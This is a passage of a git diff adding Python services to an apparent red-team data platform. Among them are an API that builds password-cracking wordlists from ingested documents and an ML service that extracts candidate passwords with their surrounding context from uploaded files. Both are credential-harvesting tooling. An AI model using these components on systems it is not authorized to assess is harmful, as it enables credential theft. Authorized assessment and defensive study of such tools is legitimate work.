+WinHTTP Web Proxy Auto-Discovery Service WinHttpAutoProxySvc Web Proxy Auto-Discovery over HTTP. Manual (Running)
+Wired AutoConfig dot3svc IEEE 802.1 authentication over Ethernet. Manual
+WLAN AutoConfig WlanSvc Connect and Disconnect from a Wireless LAN, it is strongly recommended that this service is left set to Automatic if a Wireless Card is installed. Automatic
+WMI Performance Adapter wmiApSrv Provide performance information from WMI providers to clients on the network. Manual
+Work Folders workfolderssvc Sync files with the Work Folders server enabling you to use the files on any PC where you have setup Work Folders. Manual
+Workstation LanmanWorkstation Connect to remote servers using SMB 2.0 or 3.0 Automatic (Running)
+WWAN AutoConfig WwanSvc Manages Mobile Broadband Data Connections (GSM and CDMA) by auto-configuring the network. Manual
+Xbox Accessory Management Service XboxGipSvc Xbox Accessories. Manual (Trigger Start)
+Xbox Live Auth Manager XblAuthManager Xbox Authentication. Manual
+Xbox Live Game Save XblGameSave Xbox sync with game server. Manual (Trigger Start)
+Xbox Live Networking Service XboxNetApiSvc Xbox API.
\ No newline at end of file
diff --git a/cmd/enrichment/enrichment/tasks/service_categorizer/service_categorizer.py b/cmd/enrichment/enrichment/tasks/service_categorizer/service_categorizer.py
new file mode 100644
index 0000000..fc8ebe0
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/service_categorizer/service_categorizer.py
@@ -0,0 +1,66 @@
+# Standard Libraries
+import asyncio
+
+# 3rd Party Libraries
+import nemesiscommon.constants as constants
+import nemesispb.nemesis_pb2 as pb
+import structlog
+from enrichment.tasks.service_categorizer.categorizer import ServiceCategorizerInterface
+from nemesiscommon.messaging import (
+ MessageQueueConsumerInterface,
+ MessageQueueProducerInterface,
+)
+from nemesiscommon.tasking import TaskInterface
+from prometheus_async import aio
+from prometheus_client import Summary
+
+logger = structlog.get_logger(module=__name__)
+
+
+class ServiceCategorizer(TaskInterface):
+ in_q_service: MessageQueueConsumerInterface
+ out_q_serviceenriched: MessageQueueProducerInterface
+
+ def __init__(
+ self,
+ in_q_service: MessageQueueConsumerInterface,
+ out_q_serviceenriched: MessageQueueProducerInterface,
+ categorizer: ServiceCategorizerInterface,
+ ):
+ self.in_q_service = in_q_service
+ self.outputQueue = out_q_serviceenriched
+ self.categorizer = categorizer
+
+ async def run(self) -> None:
+ await self.in_q_service.Read(self.process_message) # type: ignore
+ await asyncio.Future()
+
+ @aio.time(Summary("process_windows_service", "Time spent processing a Windows service")) # type: ignore
+ async def process_message(self, ingestedServiceMsg: pb.ServiceIngestionMessage) -> None:
+ total_services = len(ingestedServiceMsg.data)
+
+ await logger.adebug("Received ServiceIngestionMessage", total_services=total_services)
+
+ enrichedServiceMsg = pb.ServiceEnrichedMessage()
+ enrichedServiceMsg.metadata.CopyFrom(ingestedServiceMsg.metadata)
+
+ for i in range(total_services):
+ ingestedService = ingestedServiceMsg.data[i]
+
+ enrichedService = pb.ServiceEnriched()
+ enrichedService.origin.CopyFrom(ingestedService)
+
+ enrichments_success = []
+ # enrichments_failure = []
+
+ category = await self.categorizer.lookup(ingestedService.name)
+
+ # right now there is no failure mode for the lookup so there are no enrichments_failure
+ enrichments_success.append(constants.E_SERVICE_CATEGORY)
+
+ enrichedService.category = category.category
+ enrichedService.enrichments_success.extend(enrichments_success)
+
+ enrichedServiceMsg.data.append(enrichedService)
+
+ await self.outputQueue.Send(enrichedServiceMsg.SerializeToString())
diff --git a/cmd/enrichment/enrichment/tasks/slack_webhook_alerter.py b/cmd/enrichment/enrichment/tasks/slack_webhook_alerter.py
new file mode 100644
index 0000000..7b98ae0
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/slack_webhook_alerter.py
@@ -0,0 +1,58 @@
+# Standard Libraries
+import asyncio
+
+# 3rd Party Libraries
+import httpx
+import nemesispb.nemesis_pb2 as pb
+from nemesiscommon.messaging import MessageQueueConsumerInterface
+from nemesiscommon.tasking import TaskInterface
+from prometheus_async.aio import time as metrics
+from prometheus_client import Summary
+
+
+class SlackWebHookAlerter(TaskInterface):
+ in_q_alert: MessageQueueConsumerInterface
+ web_hook_url: str
+ username: str
+ emoji: str
+ channel: str
+ http_client: httpx.AsyncClient
+ disable_alerting: bool
+
+ def __init__(
+ self,
+ in_q_alert: MessageQueueConsumerInterface,
+ web_hook_url: str,
+ username: str,
+ emoji: str,
+ channel: str,
+ http_client: httpx.AsyncClient,
+ disable_alerting: bool = True,
+ ) -> None:
+ self.in_q_alert = in_q_alert
+ self.web_hook_url = web_hook_url
+
+ if not channel.startswith("#"):
+ channel = f"#{channel}"
+
+ self.username = username
+ self.emoji = emoji
+ self.channel = channel
+ self.http_client = http_client
+ self.disable_alerting = disable_alerting
+
+ async def run(self) -> None:
+ await self.in_q_alert.Read(self.process_message) # type: ignore
+ await asyncio.Future()
+
+ @metrics(Summary("process_alert", "Time spent processing an alert topic.")) # type: ignore
+ async def process_message(self, event: pb.Alert) -> None:
+ if not self.disable_alerting:
+ await self.send_slack_message(event.text)
+
+ async def send_slack_message(self, text: str) -> None:
+ """Sends the supplied Slack message to the SLACK_ALERT_CHANNEL via SLACK_WEB_HOOK."""
+
+ payload = {"username": self.username, "icon_emoji": self.emoji, "channel": self.channel, "text": text}
+ r = await self.http_client.post(self.web_hook_url, json=payload)
+ r.raise_for_status()
diff --git a/cmd/enrichment/enrichment/tasks/webapi/crack_list/__init__.py b/cmd/enrichment/enrichment/tasks/webapi/crack_list/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/cmd/enrichment/enrichment/tasks/webapi/crack_list/client_wordlists.py b/cmd/enrichment/enrichment/tasks/webapi/crack_list/client_wordlists.py
new file mode 100644
index 0000000..f3bc276
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/webapi/crack_list/client_wordlists.py
@@ -0,0 +1,49 @@
+# Standard Libraries
+import os
+from pathlib import Path
+from typing import Dict, List, Optional
+
+# 3rd Party Libraries
+import structlog
+from enrichment.tasks.webapi.crack_list.wordlist import Wordlist
+
+logger = structlog.get_logger(module=__name__)
+
+
+class ClientWordlists:
+ def __init__(self, base_path: Optional[str] = None):
+ self.clients: Dict[str, Wordlist] = {}
+ self.base_path = base_path
+
+ if base_path is None:
+ logger.info("No base path provided. Client wordlists will not be saved.")
+ return
+
+ if not os.path.isdir(base_path):
+ raise ValueError(f"Base path {base_path} is not a directory")
+
+ for client_wordlist in os.listdir(base_path):
+ client_id = client_wordlist.split(".")[0]
+ with open(os.path.join(base_path, client_wordlist), "r") as f:
+ self.clients[client_id] = Wordlist.from_json(f.read())
+
+ def _save_client(self, client_id: str) -> None:
+ if self.base_path is None:
+ return
+
+ path_name = os.path.join(self.base_path, f"{client_id}.json")
+ client_json = self.clients[client_id].to_json()
+ Path(path_name).write_text(client_json)
+
+ def add_file(self, client_id: str, text: str, length_filter: bool) -> None:
+ if client_id not in self.clients:
+ self.clients[client_id] = Wordlist()
+ self.clients[client_id].add(text, length_filter)
+ self._save_client(client_id)
+
+ def get(self, client_id: str, count: Optional[int] = None) -> List[str]:
+ return self.clients[client_id].get(count=count)
+
+ def get_as_file(self, client_id: str, count: Optional[int] = None) -> str:
+ words = self.clients[client_id].get(count=count)
+ return "\n".join(words)
diff --git a/cmd/enrichment/enrichment/tasks/webapi/crack_list/cracklist_api.py b/cmd/enrichment/enrichment/tasks/webapi/crack_list/cracklist_api.py
new file mode 100644
index 0000000..2769684
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/webapi/crack_list/cracklist_api.py
@@ -0,0 +1,85 @@
+# Standard Libraries
+import uuid
+from pathlib import Path
+
+# 3rd Party Libraries
+import structlog
+import uvicorn
+from enrichment.tasks.webapi.crack_list.client_wordlists import ClientWordlists
+from fastapi import FastAPI
+from fastapi.responses import Response
+from fastapi_class.decorators import get, post
+from fastapi_class.routable import Routable
+from nemesiscommon.storage import StorageInterface
+from nemesiscommon.tasking import TaskInterface
+from prometheus_async import aio
+from prometheus_client import Summary
+from pydantic import BaseModel
+
+logger = structlog.get_logger(module=__name__)
+
+
+class CrackListApi(TaskInterface):
+ storage: StorageInterface
+ log_level: str
+
+ def __init__(self, storage: StorageInterface, log_level: str) -> None:
+ self.storage = storage
+ self.log_level = log_level
+
+ async def run(self) -> None:
+ app = FastAPI()
+ routes = CrackListApiRoutes(self.storage)
+ app.include_router(routes.router)
+ # TODO: do we need to set the port as an env var?
+ server_config = uvicorn.Config(app, host="0.0.0.0", port=9900, log_level=self.log_level.lower())
+ server = uvicorn.Server(server_config)
+ await server.serve()
+
+
+class UploadRequest(BaseModel):
+ object_id: uuid.UUID
+ client_id: str
+
+
+class CrackListApiRoutes(Routable):
+ """Inherits from Routable."""
+
+ storage: StorageInterface
+ client_wordlists: ClientWordlists
+
+ def __init__(self, storage: StorageInterface) -> None:
+ super().__init__()
+ self.storage = storage
+ self.client_wordlists = ClientWordlists()
+
+ @get("/")
+ async def home(self):
+ return Response()
+
+ @get("/ready")
+ async def ready(self):
+ """
+ Used for readiness probes.
+ """
+ return Response()
+
+ @aio.time(Summary("wordlist_add", "Time spent adding a document to the wordlist")) # type: ignore
+ @post("/add")
+ async def root_post(self, request: UploadRequest, length_filter: bool = False):
+ try:
+ await logger.adebug("Got request", request=request)
+ with await self.storage.download(request.object_id) as temp_file:
+ data = Path(temp_file.name).read_text()
+ self.client_wordlists.add_file(request.client_id, data, length_filter)
+ except Exception as e:
+ return {"error": str(e)}
+
+ @aio.time(Summary("wordlist_retrieve", "Time spent retrieving the wordlist")) # type: ignore
+ @get("/client/{client_id}")
+ def root_get(self, client_id: str, count: int = 10):
+ try:
+ ret = self.client_wordlists.get_as_file(client_id, count=count)
+ return Response(ret, media_type="text/plain")
+ except Exception as e:
+ return {"error": str(e)}
diff --git a/cmd/enrichment/enrichment/tasks/webapi/crack_list/dictionary.py b/cmd/enrichment/enrichment/tasks/webapi/crack_list/dictionary.py
new file mode 100644
index 0000000..ab4ddb8
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/webapi/crack_list/dictionary.py
@@ -0,0 +1,25 @@
+# Standard Libraries
+from typing import List, Optional, Set
+
+
+class Dictionary:
+ def __init__(self, dictionary_path: Optional[str] = None, words: Optional[Set[str]] = None):
+ if dictionary_path is None and words is None:
+ raise ValueError("No dictionary path or words provided")
+
+ self.words = words or set()
+
+ if dictionary_path:
+ with open(dictionary_path, "r") as f:
+ for line in f:
+ self.words.add(line.strip())
+
+ if words:
+ self.words = words
+
+ def filter(self, tokens: List[str]) -> List[str]:
+ return [token for token in tokens if token not in self.words]
+
+
+# use the `wamerican` ~100k word dictionary to filter out
+default_dictionary = Dictionary("/usr/share/dict/words")
diff --git a/cmd/enrichment/enrichment/tasks/webapi/crack_list/wordlist.py b/cmd/enrichment/enrichment/tasks/webapi/crack_list/wordlist.py
new file mode 100644
index 0000000..f003977
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/webapi/crack_list/wordlist.py
@@ -0,0 +1,71 @@
+# Standard Libraries
+import json
+from typing import Dict, List, Optional
+
+# 3rd Party Libraries
+from enrichment.tasks.webapi.crack_list.dictionary import Dictionary, default_dictionary
+
+# TODO: make these ENV variables
+MIN_LENGTH = 3
+MAX_LENGTH = 30
+
+
+class Wordlist:
+ def __init__(
+ self,
+ dictionary: Dictionary = default_dictionary,
+ raw_wordlist: Optional[Dict[str, int]] = None,
+ ):
+ self.dictionary = dictionary
+ if raw_wordlist is None:
+ self.wordlist = {}
+ else:
+ self.wordlist = raw_wordlist
+
+ @staticmethod
+ def from_json(json_str: str, dictionary: Dictionary = default_dictionary) -> "Wordlist":
+ """
+ Create a Wordlist from a JSON string
+ """
+ raw_wordlist = json.loads(json_str)
+ return Wordlist(dictionary=dictionary, raw_wordlist=raw_wordlist)
+
+ def _tokenize(self, text: str) -> List[str]:
+ return text.split()
+
+ def _length_filter(self, words: List[str]) -> List[str]:
+ """
+ Filter out words that are too short or too long
+ """
+ return [word for word in words if MIN_LENGTH <= len(word) <= MAX_LENGTH]
+
+ def to_json(self) -> str:
+ """
+ Return a JSON string representation of the wordlist
+ """
+ return json.dumps(self.wordlist)
+
+ def add(self, text: str, len_filter: bool = False) -> None:
+ """
+ Add a string to the wordlist. Only performs a dictionary filter for new
+ input. Does not recompute the filtered words for the entire wordlist.
+
+ :param text: The string to add
+ """
+ tokens = self._tokenize(text)
+ if len_filter:
+ tokens = self._length_filter(tokens)
+ tokens = self.dictionary.filter(tokens)
+ for token in tokens:
+ self.wordlist[token] = self.wordlist.get(token, 0) + 1
+
+ def get(self, count: Optional[int] = None) -> List[str]:
+ """
+ Return a list of the most common words in the wordlist
+
+ :param count: The number of words to return. If None, return all words.
+ """
+ xs = sorted(self.wordlist, key=self.wordlist.__getitem__, reverse=True)
+ if count is not None:
+ return xs[:count]
+ return xs
diff --git a/cmd/enrichment/enrichment/tasks/webapi/landingpage.py b/cmd/enrichment/enrichment/tasks/webapi/landingpage.py
new file mode 100644
index 0000000..3a29513
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/webapi/landingpage.py
@@ -0,0 +1,65 @@
+# 3rd Party Libraries
+import structlog
+import uvicorn
+from fastapi import FastAPI
+from fastapi.responses import HTMLResponse
+from fastapi_class.decorators import get
+from fastapi_class.routable import Routable
+from nemesiscommon.tasking import TaskInterface
+
+logger = structlog.get_logger(module=__name__)
+
+
+class LandingPageApi(TaskInterface):
+ log_level: str
+
+ def __init__(self, log_level: str) -> None:
+ self.log_level = log_level
+
+ async def run(self) -> None:
+ app = FastAPI()
+ routes = LandingPageRoutes()
+ app.include_router(routes.router)
+ server_config = uvicorn.Config(
+ app,
+ host="0.0.0.0",
+ port=9920,
+ log_level=self.log_level.lower(),
+ )
+ server = uvicorn.Server(server_config)
+ logger.info("Starting LandingPageAPI", port="9920")
+ await server.serve()
+
+
+class LandingPageRoutes(Routable):
+ def __init__(self) -> None:
+ super().__init__()
+
+ @get("/", response_class=HTMLResponse)
+ async def home(self):
+ return """
+
+
+ Nemesis Services
+
+
+ Nemesis Services
+
+ Main Services
+ Dashboard
+ Kibana
+ pgAdmin (Postgres)
+ RabbitMQ Management UI
+
+ Monitoring
+ Alertmanager
+ Grafana
+ Prometheus
+
+ Misc
+ Elastic
+ Yara Endpoint
+ Password Cracklist Endpoint
+
+
+ """
diff --git a/cmd/enrichment/enrichment/tasks/webapi/ml_models_api.py b/cmd/enrichment/enrichment/tasks/webapi/ml_models_api.py
new file mode 100644
index 0000000..62a8690
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/webapi/ml_models_api.py
@@ -0,0 +1,332 @@
+# Standard Libraries
+import asyncio
+import json
+import os
+import re
+import uuid
+
+# 3rd Party Libraries
+import aiohttp
+import numpy as np
+import structlog
+import uvicorn
+from enrichment.settings import EnrichmentSettings
+from fastapi import FastAPI
+from fastapi.responses import Response
+from fastapi_class.decorators import get, post
+from fastapi_class.routable import Routable
+from nemesiscommon.storage import StorageInterface
+from nemesiscommon.tasking import TaskInterface
+from prometheus_async import aio
+from prometheus_client import Summary
+from pydantic import BaseModel
+
+logger = structlog.get_logger(module=__name__)
+
+# extracted from the fit Keras tokenizer so we don't need Keras/Tensorflow as a requirement
+CHAR_DICT = {
+ "": 1,
+ "e": 2,
+ "i": 3,
+ "a": 4,
+ "n": 5,
+ "t": 6,
+ "r": 7,
+ "o": 8,
+ "s": 9,
+ "c": 10,
+ "l": 11,
+ "A": 12,
+ "E": 13,
+ "d": 14,
+ "u": 15,
+ "m": 16,
+ "p": 17,
+ "I": 18,
+ "S": 19,
+ "R": 20,
+ "O": 21,
+ "N": 22,
+ "g": 23,
+ "T": 24,
+ "-": 25,
+ "L": 26,
+ "h": 27,
+ "y": 28,
+ "C": 29,
+ "b": 30,
+ "f": 31,
+ "M": 32,
+ "v": 33,
+ "D": 34,
+ "1": 35,
+ "U": 36,
+ "H": 37,
+ "P": 38,
+ "k": 39,
+ "2": 40,
+ "0": 41,
+ "B": 42,
+ "G": 43,
+ "w": 44,
+ "Y": 45,
+ "K": 46,
+ "3": 47,
+ "9": 48,
+ "F": 49,
+ ".": 50,
+ ",": 51,
+ "4": 52,
+ "8": 53,
+ "V": 54,
+ "5": 55,
+ "7": 56,
+ "6": 57,
+ "W": 58,
+ "j": 59,
+ "x": 60,
+ "z": 61,
+ "J": 62,
+ "q": 63,
+ "Z": 64,
+ "_": 65,
+ "'": 66,
+ ":": 67,
+ "X": 68,
+ "Q": 69,
+ "/": 70,
+ ")": 71,
+ "(": 72,
+ '"': 73,
+ "!": 74,
+ ";": 75,
+ "*": 76,
+ "@": 77,
+ "\\": 78,
+ "]": 79,
+ "?": 80,
+ "[": 81,
+ "<": 82,
+ ">": 83,
+ "=": 84,
+ "#": 85,
+ "&": 86,
+ "$": 87,
+ "+": 88,
+ "%": 89,
+ "`": 90,
+ "~": 91,
+ "^": 92,
+ "{": 93,
+ "}": 94,
+ "|": 95,
+}
+
+
+class UploadRequest(BaseModel):
+ object_id: str
+
+
+class NumpyEncoder(json.JSONEncoder):
+ """Helper to JSONify numpy arrays."""
+
+ def default(self, obj):
+ if isinstance(obj, np.ndarray):
+ return obj.tolist()
+ return json.JSONEncoder.default(self, obj)
+
+
+class MlModelsApi(TaskInterface):
+ storage: StorageInterface
+ cfg: EnrichmentSettings
+
+ def __init__(self, storage: StorageInterface, cfg: EnrichmentSettings) -> None:
+ self.storage = storage
+ self.cfg = cfg
+
+ async def run(self) -> None:
+ app = FastAPI(title="ML Models API")
+ routes = MlModelsApiRoutes(
+ self.storage,
+ self.cfg.ml_chunk_size,
+ self.cfg.tensorflow_uri,
+ self.cfg.prob_threshold,
+ self.cfg.context_words,
+ )
+ app.include_router(routes.router)
+ server_config = uvicorn.Config(app, host="0.0.0.0", port=5000, log_level=self.cfg.log_level.lower())
+ server = uvicorn.Server(server_config)
+ logger.info("Starting ml_models service")
+ await server.serve()
+
+
+class MlModelsApiRoutes(Routable):
+ """Inherits from Routable."""
+
+ storage: StorageInterface
+ ml_chunk_size: int
+ tensorflow_uri: str
+ prob_threshold: float
+ context_words: int
+
+ def __init__(
+ self,
+ storage: StorageInterface,
+ ml_chunk_size: int,
+ tensorflow_uri: str,
+ prob_threshold: float,
+ context_words: int,
+ ) -> None:
+ super().__init__()
+
+ self.storage = storage
+ self.ml_chunk_size = ml_chunk_size
+ self.tensorflow_uri = tensorflow_uri
+ self.prob_threshold = prob_threshold
+ self.context_words = context_words
+
+ # regex for 7-32 character mixed alphanumeric + special char
+ self.password_regex = re.compile(r"^(?=.*[0-9])(?=.*[a-zA-Z])(?=.*[~!@#$%^&*_\-+=`|\()\{\}[\]:;\"'<>,.?\/])(?=.*\d).{7,32}$")
+
+ @aio.time(Summary("process_document", "Time spent in process_document")) # type: ignore
+ async def process_document(self, file_path: str):
+ """Processes a file through the NN/regex."""
+
+ model_password_candidates = []
+ regex_password_candidates = []
+
+ await logger.adebug("Processing file", file_path=file_path)
+
+ with open(file_path, "rb") as f:
+ # chunking to handle large files
+ while chunk := f.read(self.ml_chunk_size):
+ # extract password candidates from the model
+ model_password_candidates.extend(await self.extract_passwords_model(chunk))
+
+ # extract password regex candidates from the model
+ regex_password_candidates.extend(await self.extract_terms_regex(chunk, self.password_regex))
+
+ result = {
+ "object_id": file_path,
+ "model_password_candidates": model_password_candidates,
+ "regex_password_candidates": regex_password_candidates,
+ }
+
+ return result
+
+ @aio.time(Summary("tokenize", "Time spent in tokenize")) # type: ignore
+ async def tokenize(self, word):
+ """Tokenizes and pads the supplied word to the proper length."""
+
+ if len(word) < 7 or len(word) > 32:
+ return [0] * 32
+ else:
+ seq = [CHAR_DICT[char] if char in CHAR_DICT else 1 for char in word]
+ seq.extend([0] * (32 - len(seq)))
+ return seq
+
+ async def remove_non_ascii(self, string):
+ return "".join(char for char in string if ord(char) < 128)
+
+ @aio.time(Summary("extract_passwords_model", "Time spent in extract_passwords_model")) # type: ignore
+ async def extract_passwords_model(self, document):
+ """Tokenizes the input text, submits it to the served model,and returns words that might be passwords."""
+
+ passwords = []
+ url = f"{self.tensorflow_uri}v1/models/password:predict"
+
+ try:
+ # extract whitespace stripped words
+ document = await self.remove_non_ascii(document.decode("ISO-8859-1"))
+ words = np.array([word.strip() for word in document.split()])
+
+ # turn the input words into sequences and pad them to 32
+ tokenized_words = [await self.tokenize(word) for word in words]
+
+ # post the tokenized words to the served model
+ data = json.dumps({"inputs": tokenized_words})
+
+ async with aiohttp.ClientSession() as session:
+ status, retries = 0, 5
+
+ async with session.post(url, data=data.encode("utf-8"), timeout=60) as resp:
+ status = resp.status
+ result = await resp.json()
+
+ while status != 200 and retries > 0:
+ await asyncio.sleep(1)
+ retries = retries - 1
+ async with session.post(url, data=data.encode("utf-8"), timeout=60) as resp:
+ status = resp.status
+ result = await resp.json()
+
+ pred = np.array(result["outputs"])
+
+ # properly cast the predictions for each word
+ pred = (pred > self.prob_threshold).astype("int32")
+
+ # use the predictions as indicies for the words to return
+ positive_indicies = np.where(pred == 1)
+
+ for x in positive_indicies[0]:
+ left_context = words[:x][-self.context_words :]
+ password = words[x]
+ right_context = words[x + 1 : self.context_words + x + 1]
+
+ result = {"left_context": left_context, "password": password, "right_context": right_context}
+
+ passwords.append(result)
+
+ except Exception as e:
+ await logger.aexception(e, message="extract_passwords_model exception")
+
+ return passwords
+
+ @aio.time(Summary("extract_terms_regex", "Time spent in extract_terms_regex")) # type: ignore
+ async def extract_terms_regex(self, document, regex):
+ """Runs the supplied compiled regex against extracted documents."""
+
+ document = await self.remove_non_ascii(document.decode("ISO-8859-1"))
+ words = np.array([word.strip() for word in document.split()])
+ passwords = list()
+
+ for x, word in enumerate(words):
+ if regex.match(word):
+ left_context = words[:x][-self.context_words :]
+ password = words[x]
+ right_context = words[x + 1 : self.context_words + x + 1]
+
+ result = {"left_context": left_context, "password": password, "right_context": right_context}
+
+ passwords.append(result)
+
+ return passwords
+
+ @get("/")
+ async def home(self):
+ return {}
+
+ @get("/ready")
+ async def ready(self):
+ """
+ Used for readiness probes.
+ """
+ return Response()
+
+ @aio.time(Summary("passwords", "Time spent extracting passwords from a document.")) # type: ignore
+ @post("/passwords")
+ async def root_post(self, request: UploadRequest, length_filter: bool = False):
+ try:
+ file_uuid = uuid.UUID(request.object_id)
+ with await self.storage.download(file_uuid) as temp_file:
+ # TODO: should we make this an ENV variable
+ if os.path.getsize(temp_file.name) > 104857600:
+ return {"error": "'object_id' file over 100 MB limit"}
+ else:
+ results = await self.process_document(temp_file.name)
+ # return results
+ content = json.dumps(results, cls=NumpyEncoder)
+ return Response(content=content, media_type="application/json")
+ except Exception as e:
+ logger.exception(e, message="Error extracting passwords from document")
+ return {"error": str(e)}
diff --git a/cmd/enrichment/enrichment/tasks/webapi/nemesis_api.py b/cmd/enrichment/enrichment/tasks/webapi/nemesis_api.py
new file mode 100644
index 0000000..c0d2029
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/webapi/nemesis_api.py
@@ -0,0 +1,448 @@
+# Standard Libraries
+import asyncio
+import base64
+import json
+import os
+import tempfile
+import urllib.parse
+import uuid
+from enum import Enum, StrEnum
+from typing import Dict, List, Optional
+
+# 3rd Party Libraries
+import httpx
+import nemesispb.nemesis_pb2 as pb
+import structlog
+import uvicorn
+from aio_pika import connect_robust
+from elasticsearch import AsyncElasticsearch
+from enrichment.cli.submit_to_nemesis.submit_to_nemesis import (
+ map_unordered, return_args_and_exceptions)
+from enrichment.lib.nemesis_db import NemesisDb
+from enrichment.lib.registry import include_registry_value
+from fastapi import FastAPI, Request
+from fastapi.responses import FileResponse, Response
+from fastapi_class.decorators import get, post
+from fastapi_class.routable import Routable
+from google.protobuf.json_format import Parse
+# from nemesiscommon.clearqueues import clearRabbitMQQueues
+from nemesiscommon.constants import ALL_ES_INDICIES, NemesisQueue
+from nemesiscommon.messaging import MessageQueueProducerInterface
+from nemesiscommon.messaging_rabbitmq import RABBITMQ_QUEUE_BINDINGS
+from nemesiscommon.services.alerter import AlerterInterface
+from nemesiscommon.storage import StorageInterface
+from nemesiscommon.tasking import TaskInterface
+from prometheus_async import aio
+from prometheus_client import Summary
+from pydantic import BaseModel
+from starlette.background import BackgroundTask
+
+logger = structlog.get_logger(module=__name__)
+
+MAP = {
+ "authentication_data": pb.AuthenticationDataIngestionMessage,
+ "file_data": pb.FileDataIngestionMessage,
+ "file_information": pb.FileInformationIngestionMessage,
+ "network_address": pb.NetworkAddressIngestionMessage,
+ "network_connection": pb.NetworkConnectionIngestionMessage,
+ "path_list": pb.PathListIngestionMessage,
+ "process_enriched": pb.ProcessEnrichedMessage,
+ "process": pb.ProcessIngestionMessage,
+ "raw_data": pb.RawDataIngestionMessage,
+ "registry_value": pb.RegistryValueIngestionMessage,
+ "route": pb.RouteDataIngestionMessage,
+ "time": pb.TimeDataIngestionMessage,
+ "service": pb.ServiceIngestionMessage,
+ "cookie": pb.CookieIngestionMessage,
+ "named_pipe": pb.NamedPipeIngestionMessage,
+ "network_conection": pb.NetworkConnectionIngestionMessage,
+ # DpapiBlobMessage
+ # DpapiDomainBackupkeyMessage
+ # DpapiMasterkeyMessage
+ # ExtractedHashMessage
+ # FileDataPlaintextMessage
+ # ProcessMessage
+ # ServiceEnrichedMessage
+}
+
+
+# # kills all the connections in a way we can't proceed
+# async def delete_rabbit_mq_connections(connection_uri: str) -> None:
+# rabbit_mq_api_url_connections = connection_uri.replace("amqp", "http").replace(
+# ":5672", ":15672/rabbitmq/api/connections/username/nemesis"
+# )
+# transport = httpx.AsyncHTTPTransport(retries=5)
+# async with httpx.AsyncClient(transport=transport) as client:
+# try:
+# await client.delete(rabbit_mq_api_url_connections)
+# except Exception as e:
+# await logger.aerror("Error DELETEing RabbitMQ connections via the API", exception=e)
+
+
+async def get_all_rabbit_mq_queues(rabbit_mq_api_url: str) -> List[str]:
+ """Calls the RabbitMQ API to retrieve all current queue names."""
+ rabbit_mq_api_url_queues = f"{rabbit_mq_api_url}queues"
+ transport = httpx.AsyncHTTPTransport(retries=5)
+ async with httpx.AsyncClient(transport=transport) as client:
+ try:
+ r = await client.get(rabbit_mq_api_url_queues)
+ if r.status_code == 200:
+ return [queue["name"] for queue in r.json()]
+ else:
+ logger.aerror("Error retrieving RabbitMQ queues from the API", status=r.status_code)
+ return []
+ except Exception as e:
+ logger.aerror("Error retrieving RabbitMQ queues from the API", exception=e)
+ return []
+
+
+async def purge_rabbit_mq_queues(connection_uri: str) -> None:
+ """Enumerates all queues with get_all_rabbit_mq_queues() and purges each."""
+ await logger.ainfo("Purging all existing RabbitMQ queues")
+ connection = await connect_robust(connection_uri)
+ rabbit_mq_api_url = connection_uri.replace("amqp", "http").replace(":5672", ":15672/rabbitmq/api/")
+ queue_names = await get_all_rabbit_mq_queues(rabbit_mq_api_url)
+
+ async with connection:
+ channel = await connection.channel()
+ for queue_name in queue_names:
+ queue = await channel.get_queue(queue_name)
+ await logger.ainfo("Purging queue", queue=queue_name)
+ await queue.purge()
+
+ await logger.ainfo("Done purging RabbitMQ queues")
+
+
+class NemesisApi(TaskInterface):
+ storage: StorageInterface
+ rabbitmq_connection_uri: str
+ alerter: AlerterInterface
+ db: NemesisDb
+ es_client: AsyncElasticsearch
+ http_client: httpx.AsyncClient
+ queue_map: dict[NemesisQueue, MessageQueueProducerInterface]
+ assessment_id: str
+ log_level: str
+ reprocessing_workers: int
+
+ def __init__(
+ self,
+ storage: StorageInterface,
+ rabbitmq_connection_uri: str,
+ alerter: AlerterInterface,
+ db: NemesisDb,
+ es_client: AsyncElasticsearch,
+ queue_map: dict[NemesisQueue, MessageQueueProducerInterface],
+ assessment_id: str,
+ log_level: str,
+ reprocessing_workers: int,
+ ) -> None:
+ self.storage = storage
+ self.rabbitmq_connection_uri = rabbitmq_connection_uri
+ self.alerter = alerter
+ self.db = db
+ self.es_client = es_client
+ self.queue_map = queue_map
+ self.assessment_id = assessment_id
+ self.log_level = log_level
+ self.reprocessing_workers = reprocessing_workers
+
+ async def run(self) -> None:
+ app = FastAPI(title="Nemesis API")
+ routes = NemesisApiRoutes(
+ self.storage,
+ self.rabbitmq_connection_uri,
+ self.alerter,
+ self.db,
+ self.es_client,
+ self.queue_map,
+ self.assessment_id,
+ self.reprocessing_workers,
+ )
+
+ app.include_router(routes.router)
+ config = uvicorn.Config(
+ app,
+ host="0.0.0.0",
+ port=9910,
+ log_level=self.log_level.lower(),
+ )
+ server = uvicorn.Server(config)
+ await server.serve()
+
+
+class DataReturn(BaseModel):
+ object_id: str
+
+
+class DownloadFileTypes(StrEnum):
+ BMP = "bmp"
+ JPG = "jpg"
+ JPEG = "jpeg"
+ ICO = "ico"
+ PNG = "png"
+ PDF = "pdf"
+ SVG = "svg"
+ TXT = "txt"
+
+
+class DownloadAction(StrEnum):
+ DOWNLOAD = "download"
+ VIEW = "view"
+
+
+class NemesisApiRoutes(Routable):
+ storage: StorageInterface
+ rabbitmq_connection_uri: str
+ alerter: AlerterInterface
+ db: NemesisDb
+ es_client: AsyncElasticsearch
+ producers: Dict[NemesisQueue, MessageQueueProducerInterface]
+ assessment_id: str
+ reprocessing_workers: int
+
+ def __init__(
+ self,
+ storage: StorageInterface,
+ rabbitmq_connection_uri: str,
+ alerter: AlerterInterface,
+ db: NemesisDb,
+ es_client: AsyncElasticsearch,
+ queues: Dict[NemesisQueue, MessageQueueProducerInterface],
+ assessment_id: str,
+ reprocessing_workers: int,
+ ) -> None:
+ super().__init__()
+ self.storage = storage
+ self.rabbitmq_connection_uri = rabbitmq_connection_uri
+ self.alerter = alerter
+ self.db = db
+ self.es_client = es_client
+ self.producers = queues
+ self.assessment_id = assessment_id
+ self.reprocessing_workers = reprocessing_workers
+
+ @get("/")
+ async def home(self):
+ return Response()
+
+ @get("/ready")
+ async def ready(self):
+ """
+ Used for readiness probes.
+ """
